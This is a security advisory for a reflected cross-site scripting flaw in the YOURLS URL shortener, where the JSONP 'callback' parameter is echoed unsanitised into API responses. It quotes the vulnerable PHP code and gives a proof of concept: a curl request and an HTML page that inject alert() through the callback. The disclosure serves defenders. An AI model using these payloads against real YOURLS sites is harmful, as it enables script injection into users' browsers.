PT-2025-62941 · Packagist · Yourls/Yourls
Published
2025-12-30
·
Updated
2025-12-30
CVSS v3.1
7.1
High
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L |
Summary
The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.
Details
Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128
if( isset( $ REQUEST['callback'] ) )
$return['callback'] = $ REQUEST['callback'];
elseif ( isset( $ REQUEST['jsonp'] ) )
$return['callback'] = $ REQUEST['jsonp']; includes/functions-api.php:127-128
$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json encode( $output ) . ')';PoC
I. YOURLS instance with YOURLS PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II.
curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)//"})Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>Impact
Public Mode (YOURLS PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS.
Private Mode (YOURLS PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
Fix
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Yourls/Yourls